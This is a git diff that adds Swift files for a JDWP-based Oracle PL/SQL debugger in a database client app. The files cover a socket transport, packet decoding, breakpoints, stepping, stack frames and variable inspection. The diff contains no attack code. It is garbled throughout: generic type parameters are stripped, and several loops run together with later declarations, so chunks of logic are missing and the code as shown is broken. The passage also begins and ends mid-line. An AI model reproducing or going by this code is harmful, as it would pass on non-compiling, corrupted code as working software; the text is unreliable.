b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift new file mode 100644 index 0000000000..ca75e1f80d --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift @@ -0,0 +1,197 @@ +import Foundation +import Network +import OSLog + +private let logger = Logger(subsystem: "com.TablePro", category: "OracleJDWP") + +public protocol OracleJDWPTransport: Sendable { + func send(_ data: Data) async throws + // Nil once the peer has closed. + func receive() async throws -> Data? + func close() +} + +public final class OracleJDWPNetworkTransport: OracleJDWPTransport, @unchecked Sendable { + private let connection: NWConnection + + public init(connection: NWConnection) { + self.connection = connection + } + + public func send(_ data: Data) async throws { + try await withCheckedThrowingContinuation { (continuation: CheckedContinuation) in + connection.send(content: data, completion: .contentProcessed { error in + if let error { + continuation.resume(throwing: error) + } else { + continuation.resume() + } + }) + } + } + + public func receive() async throws -> Data? { + try await withCheckedThrowingContinuation { (continuation: CheckedContinuation) in + connection.receive(minimumIncompleteLength: 1, maximumLength: 65_536) { data, _, isComplete, error in + if let data, !data.isEmpty { + continuation.resume(returning: data) + } else if let error { + continuation.resume(throwing: error) + } else if isComplete { + continuation.resume(returning: nil) + } else { + continuation.resume(returning: Data()) + } + } + } + } + + public func close() { + connection.cancel() + } +} + +// One JDWP conversation: replies matched to commands by id, everything the VM sends on its own delivered in order. +public actor OracleJDWPConnection { + private let transport: any OracleJDWPTransport + private var buffer = OracleJDWPFrameBuffer() + private var nextID: UInt32 = 1 + private var waiting: [UInt32: CheckedContinuation] = [:] + private var timers: [UInt32: Task] = [:] + private let replyTimeout: Duration + private var readTask: Task? + private var isClosed = false + private let commandContinuation: AsyncStream.Continuation + // Commands the VM sent (Event.Composite), raw: the first can arrive before ID sizes are known. + nonisolated public let commands: AsyncStream + + // Every command Oracle answers is a lookup; a peer that takes this long has stopped answering. + public static let defaultReplyTimeout: Duration = .seconds(15) + + public init(transport: any OracleJDWPTransport, replyTimeout: Duration = OracleJDWPConnection.defaultReplyTimeout) { + self.transport = transport + self.replyTimeout = replyTimeout + (commands, commandContinuation) = AsyncStream.makeStream(of: OracleJDWPPacket.self) + } + + // The JDWP spec has the debugger send first; Oracle sends its 14 bytes first (measured), so either order works. + public func handshake() async throws { + try await transport.send(OracleJDWPPacket.handshake) + while true { + if let head = buffer.take(OracleJDWPPacket.handshake.count) { + guard head == OracleJDWPPacket.handshake else { throw OracleJDWPError.handshakeFailed } + break + } + guard let data = try await transport.receive() else { throw OracleJDWPError.handshakeFailed } + buffer.append(data) + } + startReading() + } + + private func startReading() { + readTask = Task { [weak self] in + await self?.readLoop() + } + } + + private func readLoop() async { + do { + while true { + try deliverBufferedPackets() + guard let data = try await transport.receive() else { break } + buffer.append(data) + } + } catch { + logger.notice("JDWP read ended: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)") + } + finish() + } + + private func deliverBufferedPackets() throws { + while let packet = try buffer.nextPacket() { + switch packet { + case let .reply(id, errorCode, data): + timers.removeValue(forKey: id)?.cancel() + guard let continuation = waiting.removeValue(forKey: id) else { continue } + if errorCode == 0 { + continuation.resume(returning: data) + } else { + continuation.resume(throwing: OracleJDWPError.reply(code: Int(errorCode))) + } + case .command: + commandContinuation.yield(packet) + } + } + } + + // A reply that does not come within the timeout, or a caller that is cancelled, closes the connection: closing is + // what ends the target, and it fails every other reply still awaited. + public func send(_ commandSet: UInt8, _ command: UInt8, _ data: Data = Data()) async throws -> Data { + guard !isClosed else { throw OracleJDWPError.closed } + let id = nextID + nextID &+= 1 + let packet = OracleJDWPPacket.command(id: id, commandSet: commandSet, command: command, data: data) + do { + return try await withTaskCancellationHandler { + try await withCheckedThrowingContinuation { continuation in + waiting[id] = continuation + timers[id] = Task { [weak self, replyTimeout] in + guard (try? await Task.sleep(for: replyTimeout)) != nil else { return } + await self?.expire(id: id) + } + Task { + do { + try await self.transport.send(packet.encoded) + } catch { + self.fail(id: id, error: error) + } + } + } + } onCancel: { + Task { await self.close() } + } + } catch { + if Task.isCancelled { throw CancellationError() } + throw error + } + } + + private func fail(id: UInt32, error: Error) { + timers.removeValue(forKey: id)?.cancel() + waiting.removeValue(forKey: id)?.resume(throwing: OracleJDWPError.closed) + } + + private func expire(id: UInt32) { + timers.removeValue(forKey: id) + guard let continuation = waiting.removeValue(forKey: id) else { return } + logger.error("The JDWP peer did not answer a command in time; closing the connection") + continuation.resume(throwing: OracleJDWPError.timedOut) + close() + } + + // Closing without VirtualMachine.Dispose ends the target session (ORA-30687, measured), which is what Stop needs. + public func close() { + transport.close() + finish() + } + + // A frame that fails to decode ends here too, and the socket closes with it so the target ends. + private func finish() { + guard !isClosed else { return } + isClosed = true + transport.close() + for timer in timers.values { + timer.cancel() + } + timers.removeAll() + let pending = waiting + waiting.removeAll() + for continuation in pending.values { + continuation.resume(throwing: OracleJDWPError.closed) + } + commandContinuation.finish() + readTask?.cancel() + } + + public var closed: Bool { isClosed } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift new file mode 100644 index 0000000000..31e05d3d5c --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift @@ -0,0 +1,227 @@ +import Foundation + +public struct OracleJDWPMethod: Sendable, Hashable { + public let id: UInt64 + public let name: String + public let signature: String + + public init(id: UInt64, name: String, signature: String) { + self.id = id + self.name = name + self.signature = signature + } + + // A unit compiled without debug information lists `` methods with empty line tables (measured). + public var isSubprogram: Bool { + !name.hasPrefix("<") + } + + public var argumentTypeNames: [String] { + guard let open = signature.firstIndex(of: "("), let close = signature.firstIndex(of: ")") else { return [] } + var names: [String] = [] + var current = "" + for character in signature[signature.index(after: open).. [OracleJDWPMethod] { + var reader = OracleJDWPReader(data, sizes: sizes) + let count = try reader.count(minimumSize: sizes.method + 12) + var methods: [OracleJDWPMethod] = [] + for _ in 0.. Bool { + lhs.start == rhs.start && lhs.end == rhs.end + && lhs.entries.map(\.index) == rhs.entries.map(\.index) + && lhs.entries.map(\.line) == rhs.entries.map(\.line) + } + + static func decode(_ data: Data, sizes: OracleJDWPIDSizes) throws -> OracleJDWPLineTable { + var reader = OracleJDWPReader(data, sizes: sizes) + let start = try reader.i64() + let end = try reader.i64() + let count = try reader.count(minimumSize: 12) + var entries: [(index: Int64, line: Int)] = [] + for _ in 0.. Bool { + guard let first = entries.map(\.line).min(), let last = entries.map(\.line).max() else { return false } + return line >= first && line <= last + } + + // The code index for `line`, or for the next line after it that has code, within this method. + public func location(atOrAfter line: Int) -> (index: Int64, line: Int)? { + entries.filter { $0.line >= line }.min { $0.line == $1.line ? $0.index < $1.index : $0.line < $1.line } + } + + public func line(at index: Int64) -> Int? { + if let exact = entries.first(where: { $0.index == index }) { return exact.line } + return entries.last(where: { $0.index <= index })?.line + } +} + +public struct OracleJDWPVariable: Sendable, Hashable { + public let codeIndex: Int64 + public let name: String + public let signature: String + public let length: Int + public let slot: Int + public let isArgument: Bool + + public init(codeIndex: Int64, name: String, signature: String, length: Int, slot: Int, isArgument: Bool) { + self.codeIndex = codeIndex + self.name = name + self.signature = signature + self.length = length + self.slot = slot + self.isArgument = isArgument + } + + // `_return` and the like are the engine's own slots. + public var isUserVariable: Bool { + !name.hasPrefix("_") + } + + // A loop index is in scope only inside its loop: `I` measured at code index 13, length 3. + public func isVisible(at index: Int64) -> Bool { + let (end, overflow) = codeIndex.addingReportingOverflow(Int64(max(length, 1))) + return index >= codeIndex && (overflow || index < end) + } + + static func decodeTable(_ data: Data, sizes: OracleJDWPIDSizes) throws -> [OracleJDWPVariable] { + var reader = OracleJDWPReader(data, sizes: sizes) + let argumentCount = Int(try reader.i32()) + let count = try reader.count(minimumSize: 24) + var variables: [OracleJDWPVariable] = [] + for _ in 0..= 0, slot >= 0, !codeIndex.addingReportingOverflow(Int64(length)).overflow else { + throw OracleJDWPError.malformedPacket + } + variables.append(OracleJDWPVariable( + codeIndex: codeIndex, + name: name, + signature: signature, + length: length, + slot: slot, + isArgument: slot < argumentCount + )) + } + return variables + } +} + +public struct OracleJDWPField: Sendable, Hashable { + public let id: UInt64 + public let name: String + public let signature: String + public let modifiers: Int32 + + public init(id: UInt64, name: String, signature: String, modifiers: Int32) { + self.id = id + self.name = name + self.signature = signature + self.modifiers = modifiers + } + + public var isStatic: Bool { modifiers & 0x0008 != 0 } + + static func decodeList(_ data: Data, sizes: OracleJDWPIDSizes) throws -> [OracleJDWPField] { + var reader = OracleJDWPReader(data, sizes: sizes) + let count = try reader.count(minimumSize: sizes.field + 12) + var fields: [OracleJDWPField] = [] + for _ in 0..//`, subprograms are methods, the code index is the source line, and every value is an +// object whose `_value` string holds its text (all measured on 23.26). +public actor OracleJDWPDebugSession: OracleDebugEngine { + nonisolated public let mechanism = OracleDebugMechanism.jdwp + // SINGLE_STEP with depth OUT returns to the caller (measured). + nonisolated public let supportsStepOut = true + nonisolated public let notices: AsyncStream + private let noticeContinuation: AsyncStream.Continuation + + private enum Signal { + // One composite packet: two requests at one location arrive together and are one stop. + case events([OracleJDWPEvent]) + case callEnded + case connectionClosed + // The task waiting for the next signal was cancelled. + case cancelled + } + + private enum State { + case ready + case running + case paused + case ended + } + + private struct BreakpointKey: Hashable { + let unit: OracleDebugUnit + let line: Int + } + + private struct ClassInfo { + let id: UInt64 + let unit: OracleDebugUnit? + var methods: [OracleJDWPMethod]? + var lineTables: [UInt64: OracleJDWPLineTable] = [:] + } + + private struct MethodKey: Hashable { + let classID: UInt64 + let methodID: UInt64 + } + + private struct FrameInfo { + let id: UInt64 + let location: OracleJDWPLocation + let resolved: OracleDebugLocation + let method: OracleJDWPMethod? + } + + private let connection: OracleJDWPConnection + private let target: any OracleDebugChannel + private let helper: any OracleDebugChannel + private let entryPoint: OracleDebugEntryPoint + private let invocation: OracleDebugStatements.Invocation + private let connectCall: Task, Never> + private let targetIdentity: OracleDebugSessionIdentity? + private let callEndWait: Duration + private var gaveUp = false + private var stopResult = OracleDebugStopResult.ended + private var preparedClasses: Set = [] + + private var sizes = OracleJDWPIDSizes.oracle + private var signals: [Signal] = [] + private var waiter: CheckedContinuation? + private var pump: Task? + private var call: Task, Never>? + private var state = State.ready + private var thread: UInt64 = 1 + private var stopRequested = false + private var stopWaiters: [CheckedContinuation] = [] + private var isStopped = false + + private var classes: [UInt64: ClassInfo] = [:] + private var classIDs: [OracleDebugUnit: UInt64] = [:] + private var prepareRequests: Set = [] + private var placed: [BreakpointKey: Int32] = [:] + private var pending: Set = [] + private var holds = OracleDebugBreakpointHolds() + private var entryRequests: Set = [] + private var stepRequest: Int32? + private var frames: [FrameInfo] = [] + private var fieldCache: [UInt64: [OracleJDWPField]] = [:] + // Method ids are unique only within their class. + private var variableTables: [MethodKey: [OracleJDWPVariable]] = [:] + + init( + connection: OracleJDWPConnection, + target: any OracleDebugChannel, + helper: any OracleDebugChannel, + entryPoint: OracleDebugEntryPoint, + invocation: OracleDebugStatements.Invocation, + connectCall: Task, Never>, + targetIdentity: OracleDebugSessionIdentity? = nil, + callEndWait: Duration = OracleDebugSupport.callEndWait, + notices initial: [OracleDebugNotice] + ) { + self.targetIdentity = targetIdentity + self.callEndWait = callEndWait + self.connection = connection + self.target = target + self.helper = helper + self.entryPoint = entryPoint + self.invocation = invocation + self.connectCall = connectCall + (notices, noticeContinuation) = AsyncStream.makeStream(of: OracleDebugNotice.self) + for notice in initial { + noticeContinuation.yield(notice) + } + } + + // The target is suspended at VM_START inside CONNECT_TCP: ask for the classes that matter, then let it return. + func start(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws { + try await guarded { try await handshakeVM(breakpoints: breakpoints) } + } + + private func handshakeVM(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws { + let reply = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes) + var reader = OracleJDWPReader(reply, sizes: sizes) + do { + sizes = try OracleJDWPIDSizes.validated( + field: try reader.i32(), + method: try reader.i32(), + object: try reader.i32(), + referenceType: try reader.i32(), + frame: try reader.i32() + ) + } catch { + throw OracleDebugError.jdwp(.handshakeFailed) + } + startPump() + try await waitForVMStart() + try await requestPrepare(of: entryPoint.entry.unit) + await adoptIfLoaded(entryPoint.entry.unit) + for breakpoint in breakpoints { + _ = try await setBreakpoint(in: breakpoint.unit, line: breakpoint.line, atStart: true) + } + try await resume() + switch await connectCall.value { + case .success: break + case .failure(let error): throw error + } + } + + private func startPump() { + let commands = connection.commands + pump = Task { [weak self] in + for await packet in commands { + await self?.receive(packet) + } + await self?.post(.connectionClosed) + } + } + + // An event that does not decode ends the session: closing the socket ends the target with it. + private func receive(_ packet: OracleJDWPPacket) async { + guard case let .command(_, commandSet, command, data) = packet, + commandSet == OracleJDWPCommand.event, command == OracleJDWPCommand.composite else { return } + do { + post(.events(try OracleJDWPEventSet.decode(data, sizes: sizes).events)) + } catch { + logger.error("Could not decode a JDWP event: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)") + await connection.close() + } + } + + private func post(_ signal: Signal) { + if let waiter { + self.waiter = nil + waiter.resume(returning: signal) + } else { + signals.append(signal) + } + } + + private func nextSignal() async -> Signal { + if !signals.isEmpty { return signals.removeFirst() } + if Task.isCancelled { return .cancelled } + return await withTaskCancellationHandler { + await withCheckedContinuation { waiter = $0 } + } onCancel: { + Task { await self.post(.cancelled) } + } + } + + private func waitForVMStart() async throws { + let deadline = Task { [weak self] in + guard (try? await Task.sleep(nanoseconds: 10_000_000_000)) != nil else { return } + await self?.post(.connectionClosed) + } + defer { deadline.cancel() } + while true { + switch await nextSignal() { + case .events(let events): + for case .vmStart(let thread) in events { + self.thread = thread + return + } + case .callEnded, .connectionClosed: + throw OracleDebugError.jdwp(.handshakeFailed) + case .cancelled: + throw CancellationError() + } + } + } + + private func send(_ commandSet: UInt8, _ command: UInt8, _ build: (inout OracleJDWPWriter) -> Void = { _ in }) async throws -> OracleJDWPReader { + var writer = OracleJDWPWriter(sizes: sizes) + build(&writer) + let reply = try await connection.send(commandSet, command, writer.data) + return OracleJDWPReader(reply, sizes: sizes) + } + + private func resume() async throws { + _ = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) + } + + private func requestPrepare(of unit: OracleDebugUnit) async throws { + guard !prepareRequests.contains(unit) else { return } + prepareRequests.insert(unit) + _ = try await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.set, + OracleJDWPRequest.classPrepare(matching: unit.jdwpClassName, sizes: sizes) + ) + } + + // MARK: - Running + + public func firstStop() async throws -> OracleDebugStop { + guard state == .ready else { throw OracleDebugError.notPaused } + if stopRequested { return .failed(.stopped) } + state = .running + let target = target + let invocation = invocation + let call = Task { () -> Result<[String?], Error> in + do { + return .success(try await target.executeDirect(invocation.block, binds: invocation.binds, readsRows: true)) + } catch { + return .failure(error) + } + } + self.call = call + Task { [weak self] in + _ = await call.value + await self?.post(.callEnded) + } + return try await stoppedOnError { try await guarded { try await run(untilEntry: true) } } + } + + public func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop { + guard state == .paused, !stopRequested else { + if stopRequested { return .failed(.stopped) } + throw OracleDebugError.notPaused + } + state = .running + frames = [] + return try await stoppedOnError { + try await guarded { + switch command { + case .continueExecution: + break + case .stepOver: + try await setStep(.over) + case .stepInto: + try await setStep(.into) + case .stepOut: + try await setStep(.out) + } + try await resume() + return try await run(untilEntry: false) + } + } + } + + // A call Stop overlapped ends with Stop, not with what it read or failed to read from a closing connection. + private func guarded(_ body: () async throws -> T) async throws -> T { + guard !stopRequested else { throw OracleDebugError.ended } + let value: T + do { + value = try await translated(body) + } catch { + if stopRequested { throw OracleDebugError.ended } + throw error + } + if stopRequested { throw OracleDebugError.ended } + return value + } + + // Data the peer sent that does not decode ends the session: closing the socket ends the target. + private func translated(_ body: () async throws -> T) async throws -> T { + do { + return try await body() + } catch let error as OracleDebugError { + throw error + } catch OracleJDWPError.malformedPacket, OracleJDWPError.truncated { + await connection.close() + throw OracleDebugError.malformedReply + } catch OracleJDWPError.timedOut { + throw OracleDebugError.debuggerStoppedAnswering + } catch OracleJDWPError.closed { + throw OracleDebugError.ended + } catch OracleJDWPError.reply(let code) { + throw OracleDebugError.debuggerRefused(code: code) + } catch OracleJDWPError.handshakeFailed, OracleJDWPError.unexpectedEvent { + await connection.close() + throw OracleDebugError.malformedReply + } + } + + // A call Stop overlapped ends as stopped, whatever its own statements reported after the drivers closed. + private func stoppedOnError(_ body: () async throws -> OracleDebugStop) async throws -> OracleDebugStop { + do { + return try await body() + } catch { + if stopRequested { return await outcomeOfStop() } + throw error + } + } + + // Stop owns the ending and the drivers are the host's once it returns, so a waiting call only reports it. + private func outcomeOfStop() async -> OracleDebugStop { + if !isStopped { + await withCheckedContinuation { stopWaiters.append($0) } + } + return gaveUp ? .failed(.stillRunning(targetIdentity)) : .failed(.stopped) + } + + private func setStep(_ depth: OracleJDWPRequest.StepDepth) async throws { + var reader = OracleJDWPReader( + try await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.set, + OracleJDWPRequest.step(thread: thread, depth: depth, sizes: sizes) + ), + sizes: sizes + ) + stepRequest = try reader.i32() + } + + private func clearStep() async { + guard let request = stepRequest else { return } + stepRequest = nil + _ = try? await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.clear, + OracleJDWPRequest.clear(kind: .singleStep, requestID: request, sizes: sizes) + ) + } + + private func run(untilEntry: Bool) async throws -> OracleDebugStop { + while true { + let signal = await nextSignal() + // The caller gave up on this step: the target ends as Stop ends it. + if case .cancelled = signal { + _ = await stop() + throw CancellationError() + } + if stopRequested { + return await conclude() + } + guard case .events(let events) = signal else { return await conclude() } + if events.contains(.vmDeath) { return await conclude() } + var requests: Set = [] + var stopLocation: OracleJDWPLocation? + for event in events { + switch event { + case .classPrepare(_, let thread, let typeID, let signature): + self.thread = thread + await prepared(typeID: typeID, signature: signature) + case .breakpoint(let request, let thread, let location), .singleStep(let request, let thread, let location): + self.thread = thread + requests.insert(request) + stopLocation = stopLocation ?? location + default: + break + } + } + guard let location = stopLocation, !untilEntry || !requests.isDisjoint(with: entryRequests) else { + try await resume() + continue + } + await clearStep() + if untilEntry { + await clearEntryRequests() + } + guard let resolved = await resolve(location) else { + // Our own anonymous block, or code with no source to show: run on. + try await resume() + continue + } + state = .paused + return .paused(resolved) + } + } + + private func conclude() async -> OracleDebugStop { + if stopRequested { + return await outcomeOfStop() + } + let result: Result<[String?], Error>? + if let call { + result = await OracleDebugSupport.value(of: call, within: OracleDebugStopBudget.seconds(callEndWait)) + } else { + result = .failure(OracleDebugError.ended) + } + let stop = await OracleDebugSupport.conclude( + result, + stopped: stopRequested, + entryPoint: entryPoint, + target: target, + targetIdentity: targetIdentity + ) { [noticeContinuation] in noticeContinuation.yield($0) } + state = .ended + // Closing ends the target session, so it waits until the commit or rollback is done. + await connection.close() + noticeContinuation.finish() + return stop + } + + // MARK: - Classes and lines + + // A unit the target ran before CONNECT_TCP (a logon trigger, the connection's startup commands) is already loaded, + // and no CLASS_PREPARE announces it. + private func adoptIfLoaded(_ unit: OracleDebugUnit) async { + guard let id = await loadedClass(unit) else { return } + await prepared(typeID: id, signature: unit.jdwpSignature) + } + + private func prepared(typeID: UInt64, signature: String) async { + guard !preparedClasses.contains(typeID) else { return } + preparedClasses.insert(typeID) + let unit = OracleDebugUnit(jdwpSignature: signature) + classes[typeID] = ClassInfo(id: typeID, unit: unit) + guard let unit else { return } + classIDs[unit] = typeID + if unit == entryPoint.entry.unit { + await installEntryBreakpoints(classID: typeID) + } + for key in pending where key.unit == unit { + pending.remove(key) + if let placedLine = try? await place(key.line, in: unit, classID: typeID) { + if placedLine != key.line { + holds.move(key.line, to: placedLine, in: unit) + noticeContinuation.yield(.breakpointMoved(unit: unit, from: key.line, to: placedLine)) + } + } else { + holds.drop(key.line, in: unit) + noticeContinuation.yield(.breakpointHasNoCode(unit: unit, line: key.line)) + } + } + } + + // Every overload with the entry point's name: the anonymous block calls only the one asked for, so the first hit + // is it. The first code index is the subprogram's header line, where DBMS_DEBUG stops on entry as well. + private func installEntryBreakpoints(classID: UInt64) async { + guard let methods = try? await methods(of: classID) else { return } + for method in methods where method.name == entryPoint.entry.subprogram { + guard let table = try? await lineTable(classID: classID, methodID: method.id), + let first = table.entries.first else { continue } + let location = OracleJDWPLocation(classID: classID, methodID: method.id, index: first.index) + if let request = try? await setBreakpointRequest(at: location) { + entryRequests.insert(request) + } + } + } + + private func clearEntryRequests() async { + let requests = entryRequests.subtracting(placed.values) + entryRequests.removeAll() + for request in requests { + _ = try? await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.clear, + OracleJDWPRequest.clear(kind: .breakpoint, requestID: request, sizes: sizes) + ) + } + } + + private func methods(of classID: UInt64) async throws -> [OracleJDWPMethod] { + if let methods = classes[classID]?.methods { return methods } + let reply = try await connection.send( + OracleJDWPCommand.referenceType, + OracleJDWPCommand.methods, + idData(classID, .referenceType) + ) + let methods = try OracleJDWPMethod.decodeList(reply, sizes: sizes) + classes[classID]?.methods = methods + return methods + } + + private func lineTable(classID: UInt64, methodID: UInt64) async throws -> OracleJDWPLineTable { + if let table = classes[classID]?.lineTables[methodID] { return table } + var writer = OracleJDWPWriter(sizes: sizes) + writer.id(classID, .referenceType) + writer.id(methodID, .method) + let reply = try await connection.send(OracleJDWPCommand.method, OracleJDWPCommand.lineTable, writer.data) + let table = try OracleJDWPLineTable.decode(reply, sizes: sizes) + classes[classID]?.lineTables[methodID] = table + return table + } + + private func idData(_ id: UInt64, _ kind: OracleJDWPIDKind) -> Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.id(id, kind) + return writer.data + } + + // Only a unit's own classes are read: asking for the line table of a local collection type's method ended the + // target with ORA-00600 [kgamgub4_1] on 23.26 (measured). + private func classInfo(_ classID: UInt64) async -> ClassInfo { + if let info = classes[classID] { return info } + var unit: OracleDebugUnit? + if var reader = try? OracleJDWPReader( + await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.signature, idData(classID, .referenceType)), + sizes: sizes + ), let signature = try? reader.string() { + unit = OracleDebugUnit(jdwpSignature: signature) + } + let info = ClassInfo(id: classID, unit: unit) + classes[classID] = info + if let unit { classIDs[unit] = classID } + return info + } + + private func resolve(_ location: OracleJDWPLocation) async -> OracleDebugLocation? { + guard let unit = await classInfo(location.classID).unit, + let table = try? await lineTable(classID: location.classID, methodID: location.methodID), + let line = table.line(at: location.index) else { return nil } + return OracleDebugLocation(unit: unit, line: line) + } + + private func place(_ line: Int, in unit: OracleDebugUnit, classID: UInt64) async throws -> Int? { + var best: (location: OracleJDWPLocation, line: Int, covers: Bool)? + for method in try await methods(of: classID) { + guard let table = try? await lineTable(classID: classID, methodID: method.id), + let candidate = table.location(atOrAfter: line) else { continue } + let covers = table.covers(line: line) + let location = OracleJDWPLocation(classID: classID, methodID: method.id, index: candidate.index) + if let current = best { + if current.covers && !covers { continue } + if covers == current.covers && candidate.line >= current.line { continue } + } + best = (location, candidate.line, covers) + } + guard let best else { return nil } + let key = BreakpointKey(unit: unit, line: best.line) + if placed[key] == nil { + placed[key] = try await setBreakpointRequest(at: best.location) + } + return best.line + } + + private func setBreakpointRequest(at location: OracleJDWPLocation) async throws -> Int32 { + var reader = OracleJDWPReader( + try await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.set, + OracleJDWPRequest.breakpoint(at: location, sizes: sizes) + ), + sizes: sizes + ) + return try reader.i32() + } + + // MARK: - Breakpoints + + public func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? { + try await setBreakpoint(in: unit, line: line, atStart: false) + } + + private func setBreakpoint(in unit: OracleDebugUnit, line: Int, atStart: Bool) async throws -> Int? { + guard state != .ended else { throw OracleDebugError.ended } + guard let landed = try await guarded({ try await placeBreakpoint(in: unit, line: line) }) else { return nil } + holds.hold(landed, in: unit, by: atStart ? line : landed) + return landed + } + + private func placeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? { + if classIDs[unit] == nil { + await adoptIfLoaded(unit) + } + if let classID = classIDs[unit] { + return try await place(line, in: unit, classID: classID) + } + // Not loaded yet: DBMS_DEBUG's line map answers for it, and the line table places it once the class loads. + guard let lines = try await OracleDebugSupport.executableLines(of: unit, on: helper), + let resolved = lines.first(where: { $0 >= line }) else { return nil } + pending.insert(BreakpointKey(unit: unit, line: resolved)) + try await requestPrepare(of: unit) + return resolved + } + + public func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws { + guard let landed = holds.release(line, in: unit) else { return } + let key = BreakpointKey(unit: unit, line: landed) + pending.remove(key) + guard let request = placed.removeValue(forKey: key) else { return } + do { + try await guarded { + _ = try await connection.send( + OracleJDWPCommand.eventRequest, + OracleJDWPCommand.clear, + OracleJDWPRequest.clear(kind: .breakpoint, requestID: request, sizes: sizes) + ) + } + } catch { + // Still set in the VM, so removing it again has to find it. + holds.hold(landed, in: unit, by: line) + placed[key] = request + throw error + } + } + + // MARK: - Inspection + + public func source(of unit: OracleDebugUnit) async throws -> String { + try await guarded { try await OracleDebugSupport.source(of: unit, on: helper) } + } + + public func stack() async throws -> [OracleDebugFrame] { + guard state == .paused else { throw OracleDebugError.notPaused } + try await guarded { try await loadFrames() } + return frames.enumerated().map { level, frame in + OracleDebugFrame(level: level, location: frame.resolved, subprogram: frame.method?.name) + } + } + + private func loadFrames() async throws { + guard frames.isEmpty else { return } + var reader = try await send(OracleJDWPCommand.threadReference, OracleJDWPCommand.frames) { writer in + writer.id(thread, .object) + writer.i32(0) + writer.i32(-1) + } + let count = try reader.count(minimumSize: sizes.frame + 1 + sizes.referenceType + sizes.method + 8) + var loaded: [FrameInfo] = [] + for _ in 0.. [OracleDebugVariable] { + guard state == .paused else { throw OracleDebugError.notPaused } + return try await guarded { try await readVariables(inFrame: level) } + } + + private func readVariables(inFrame level: Int) async throws -> [OracleDebugVariable] { + try await loadFrames() + guard frames.indices.contains(level) else { return [] } + let frame = frames[level] + let table = try await variableTable(classID: frame.location.classID, methodID: frame.location.methodID) + let visible = table.filter { $0.isUserVariable && $0.isVisible(at: frame.location.index) } + let values = try await Self.readSlots(visible) { variables in + try await slotValues(variables, frame: frame) + } + var result: [OracleDebugVariable] = [] + for (variable, value) in zip(visible, values) { + var described = OracleDebugValue.unavailable + if let value { + described = await describe(value) + } + result.append(OracleDebugVariable( + name: variable.name, + kind: variable.isArgument ? .argument : .local, + typeName: OracleDebugUnit.typeName(fromJDWPSignature: variable.signature), + value: described, + isConstant: false + )) + } + return result + (await packageVariables(of: frame.resolved.unit)) + } + + // One unreadable slot (INVALID_SLOT 35, say) fails the whole request; then each is read alone and the unreadable + // one is left out. + static func readSlots( + isolation: isolated (any Actor)? = #isolation, + _ variables: [Variable], + read: ([Variable]) async throws -> [OracleJDWPValue?] + ) async throws -> [OracleJDWPValue?] { + do { + return try await read(variables) + } catch OracleJDWPError.reply { + var values: [OracleJDWPValue?] = [] + for variable in variables { + values.append((try? await read([variable]))?.first ?? nil) + } + return values + } + } + + private func slotValues(_ variables: [OracleJDWPVariable], frame: FrameInfo) async throws -> [OracleJDWPValue?] { + guard !variables.isEmpty else { return [] } + var reader = try await send(OracleJDWPCommand.stackFrame, OracleJDWPCommand.frameValues) { writer in + writer.id(thread, .object) + writer.id(frame.id, .frame) + writer.i32(Int32(variables.count)) + for variable in variables { + writer.i32(Int32(variable.slot)) + writer.u8(variable.signature.utf8.first ?? OracleJDWPValue.objectTag) + } + } + let count = try reader.count(minimumSize: 1) + var values: [OracleJDWPValue?] = [] + for _ in 0.. [OracleJDWPVariable] { + let key = MethodKey(classID: classID, methodID: methodID) + if let table = variableTables[key] { return table } + var writer = OracleJDWPWriter(sizes: sizes) + writer.id(classID, .referenceType) + writer.id(methodID, .method) + let reply = try await connection.send(OracleJDWPCommand.method, OracleJDWPCommand.variableTable, writer.data) + let table = try OracleJDWPVariable.decodeTable(reply, sizes: sizes) + variableTables[key] = table + return table + } + + // The body's and the specification's package-level variables are their classes' static fields. + private func packageVariables(of unit: OracleDebugUnit) async -> [OracleDebugVariable] { + guard unit.kind == .packageBody || unit.kind == .package else { return [] } + var result: [OracleDebugVariable] = [] + for kind in [OracleDebugUnitKind.packageBody, .package] { + let owner = OracleDebugUnit(owner: unit.owner, name: unit.name, kind: kind) + guard let classID = await loadedClass(owner), + let fields = try? await fields(of: classID) else { continue } + let statics = fields.filter { $0.isStatic && !$0.name.hasPrefix("_") } + guard !statics.isEmpty, var reader = try? await send(OracleJDWPCommand.referenceType, OracleJDWPCommand.staticValues, { writer in + writer.id(classID, .referenceType) + writer.i32(Int32(statics.count)) + for field in statics { writer.id(field.id, .field) } + }), let count = try? reader.count(minimumSize: 1) else { continue } + for field in statics.prefix(count) { + guard let value = try? reader.taggedValue() else { break } + result.append(OracleDebugVariable( + name: field.name, + kind: .package, + typeName: OracleDebugUnit.typeName(fromJDWPSignature: field.signature), + value: await describe(value), + isConstant: false + )) + } + } + return result + } + + private func loadedClass(_ unit: OracleDebugUnit) async -> UInt64? { + if let id = classIDs[unit] { return id } + guard var reader = try? await send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature, { writer in + writer.string(unit.jdwpSignature) + }), let count = try? reader.count(minimumSize: 1 + sizes.referenceType + 4), count > 0 else { return nil } + _ = try? reader.u8() + guard let id = try? reader.id(.referenceType) else { return nil } + classIDs[unit] = id + if classes[id] == nil { classes[id] = ClassInfo(id: id, unit: unit) } + return id + } + + private func fields(of typeID: UInt64) async throws -> 